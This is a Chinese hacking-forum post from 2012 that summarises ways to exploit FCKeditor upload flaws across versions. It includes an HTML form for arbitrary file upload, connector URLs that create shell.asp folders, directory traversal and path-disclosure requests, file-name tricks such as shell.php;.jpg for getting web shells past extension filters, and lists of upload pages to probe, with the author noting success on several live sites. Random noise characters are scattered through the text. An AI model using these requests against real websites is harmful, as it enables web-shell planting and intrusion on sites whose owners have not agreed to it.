找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2586|回复: 0
打印 上一主题 下一主题

Fckeditor漏洞 (2)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:01:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Fckeditor漏洞利用总结  
% c  z( [; e  V8 s1 f. h查看编辑器版本
! ]$ F4 I  u( ?" H% c$ o8 FFCKeditor/_whatsnew.html
! Y; G) u; w2 h  o9 [( N—————————————————————————————————————————————————————————————2 u5 F" I3 z7 u# I
$ K" V2 I# a4 H) e
2. Version 2.2 版本* ?* x( i  Z% s4 {& E8 T
Apache+linux 环境下在上传文件后面加个.突破!测试通过。0 ]( s, k* W6 K& S
—————————————————————————————————————————————————————————————2 `$ |9 X2 Y5 W# x

5 k) f) T/ C* U0 I) q( t! m. T1 ^+ F4 H3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
( ]  Z+ s9 p8 a<form id="frmUpload" enctype="multipart/form-data"6 s8 O; |( Q! K. o8 ], W* Y% u" e
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
" [# ?) W% V2 U5 p<input type="file" name="NewFile" size="50"><br>
. G5 `$ G5 f' B  ?0 a) m" `8 @& V<input id="btnUpload" type="submit" value="Upload">
$ x5 v% N* q- P$ i. O</form>
2 W! |8 _' C1 f, `( p5 w—————————————————————————————————————————————————————————————
% p" U' Q1 A6 X- l0 h
# _1 w1 H- \" ~) _6 s4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
, U& ]6 C+ o2 |* D1 T, _3 k. n. d        很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
& |8 _- {3 o  K9 w9 w% n0 Q    4.1:提交shell.php+空格绕过  l1 y3 J0 J) M- p* v. \' Z$ }! U
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。" [  O) e- m- i4 T! N1 A' [' N
    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
( X6 o9 D) u/ O" M* s" K# I—————————————————————————————————————————————————————————————
9 u" n. O& z% z# X7 K! O' P0 C2 z  L; E/ Y
5. 突破建立文件夹7 G' P1 W5 f( n3 O5 |+ c- C# {2 S
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
$ j- k3 q4 G4 Y( y  c8 W8 d) wFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
  X' A, b- k: B$ @( n—————————————————————————————————————————————————————————————$ h. d! f) H) r0 K+ u0 m

% [9 W0 ~; ]6 W( P2 ]: D$ w! ^6. FCKeditor 中test 文件的上传地址; `' w2 I, F( E) w) M
FCKeditor/editor/filemanager/browser/default/connectors/test.html9 k; K2 t3 }) @. ~% |
FCKeditor/editor/filemanager/upload/test.html8 n; r4 b# Q0 P, C
FCKeditor/editor/filemanager/connectors/test.html
+ m# p3 ]4 B7 F4 f" W; w3 LFCKeditor/editor/filemanager/connectors/uploadtest.html5 c& N! w0 S4 l7 g2 c
—————————————————————————————————————————————————————————————
$ M) [( D" t' R/ p' [  V9 F- m3 |" I
7.常用上传地址! s9 G  d, Z, r- {7 k8 _0 ^
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/8 j5 C$ D. `- \" R
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
3 U# `0 h% r$ o  K( w6 IFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)/ K1 _4 Y7 Z6 o- m
JSP 版:
/ _) F* {# B8 s7 x+ hFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp1 Z+ m1 z4 b* O# j2 Q
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
# x8 F7 X4 p4 `件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
% I) y+ W3 S1 s+ w, U. o—————————————————————————————————————————————————————————————* l; T8 S$ h7 N* k/ s# x

& y; `" r' i3 H: B) [+ k8.其他上传地址
2 p3 ]" l4 x8 u7 w, ?0 {FCKeditor/_samples/default.html
6 N+ `! Z3 ]$ j/ v! BFCKeditor/_samples/asp/sample01.asp# p) X8 E2 [. I( W0 U  M+ g
FCKeditor/_samples/asp/sample02.asp
0 P0 D" ], w! t. KFCKeditor/_samples/asp/sample03.asp
$ r/ \, i; G# ]FCKeditor/_samples/asp/sample04.asp
; P# U2 N: R2 ~1 N一般很多站点都已删除_samples 目录,可以试试。
. ]6 C3 G3 q  |& B, p4 ~, e* TFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
7 s% t/ q  V) ~' ~- d: ^—————————————————————————————————————————————————————————————
& A9 @0 z) T3 x- J5 x+ O( q# ~; i! _8 R( {9 n) `+ E& C' q
9.列目录漏洞也可助找上传地址
9 C( H5 S2 O- H2 [- kVersion 2.4.1 测试通过5 D8 v" h! t; ~& b
修改CurrentFolder 参数使用 ../../来进入不同的目录% D  j) N1 `. u8 I
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp3 T' R% ~* |9 O/ T9 m. \
根据返回的XML 信息可以查看网站所有的目录。
: B; v3 ~6 C% Z/ |$ w: S7 f, W1 dFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
0 g  `2 f* M! G* L8 H( @也可以直接浏览盘符:, g; X" Z) g5 K7 H& k& T, D! t
JSP 版本:
# g; \5 p& Q7 B* ^) G3 H6 W# \FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F3 x0 A! X2 A6 p+ g. s9 @" L
—————————————————————————————————————————————————————————————
, ~, @4 i; i- N/ M& i- M
% _$ q& l" N  Z" f' d4 N0 N7 P10.爆路径漏洞4 |3 n5 O! e1 k" C# L' u# |
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp$ C. c6 B2 k8 K  y
—————————————————————————————————————————————————————————————+ K8 ^1 O3 _) p

# W3 _) n3 s/ q11. FCKeditor 被动限制策略所导致的过滤不严问题2 X) f9 w! r0 }: A8 O
        影响版本: FCKeditor x.x <= FCKeditor v2.4.3; c" |* ?9 d" H7 N- v# a( \
脆弱描述:& z* ?2 `! Y/ t
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
; i" t/ c  c0 U! Y3 i2 Ahtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
' M5 l' m9 d) j7 m/ }Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!7 f! p6 l6 |6 w# f& d- E& ^; d
        而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。0 v, i6 d8 q/ H) ]
        在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!% A" J% p* f4 K( S$ ~# h5 y
—————————————————————————————————————————————————————————————
' k0 M9 Q+ D. j3 V( I) H# q- }* b6 r7 K/ S- u. Y$ v
12.最古老的漏洞,Type文件没有限制!
/ z8 T& {" J# \; {        我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!
3 i" v" M9 }/ u6 c—————————————————————————————————————————————————————————————
: i" a! ?- E0 I. }+ c0 E% ~1 l6 ?  |/ {- Q: S; N% V7 G
===============================================================================================================================================
9 D7 {% p7 N* K" f/ a
' W: s, N5 x" ^9 [+ V3 qFCK编辑器jsp版本漏洞:
' [8 ?9 H" b( w" X
% x4 D% P! j- T* \- f# @  c
+ A5 ~1 y" f9 r5 P: U" Chttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
' U5 c$ b; b$ J2 `, t: Z6 c9 f, U! v) P# ^3 B3 k, L9 h
上传马所在目录
& x& S# y* c9 z) }* j) xFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
) h  B0 s) p4 b  w7 h  x3 R1 b0 L6 N上传shell的地址:% f9 c) `$ d3 K9 m8 z& B
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
% _4 e  p% o) C. j# X1 R跟版本有关系.并不是百分百成功. 测试成功几个站.9 `% ~; K; j6 `  g' n
不能通杀.很遗憾.0 D" v+ x# N+ P( u8 M8 u
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
4 a% y: _2 u8 k' @如果以上地址不行可以试试4 g% M" s* r. r5 P4 ~
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector/ `* ^, o1 x  p" W3 G
FCKeditor/_samples/' D6 x, ]$ V, w
FCKeditor/_samples/default.html
2 G( c" Y) S& z6 f) ?( D$ P4 [FCKeditor/editor/fckeditor.htm
$ ]5 T1 {8 L+ [+ l+ DFCKeditor/editor/fckdialog.html
1 `: X& A4 b1 L# a$ O. n& J" O' z9 t3 H& W2 q" |  H

) ]- ~1 l9 C" I/ |' L$ k+ E( t& _; E: J
解析漏洞+未重命名文件时上传漏洞  1.asp;jpg
, k4 t, ?5 m' n8 t% E+ A, J+ D2 y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表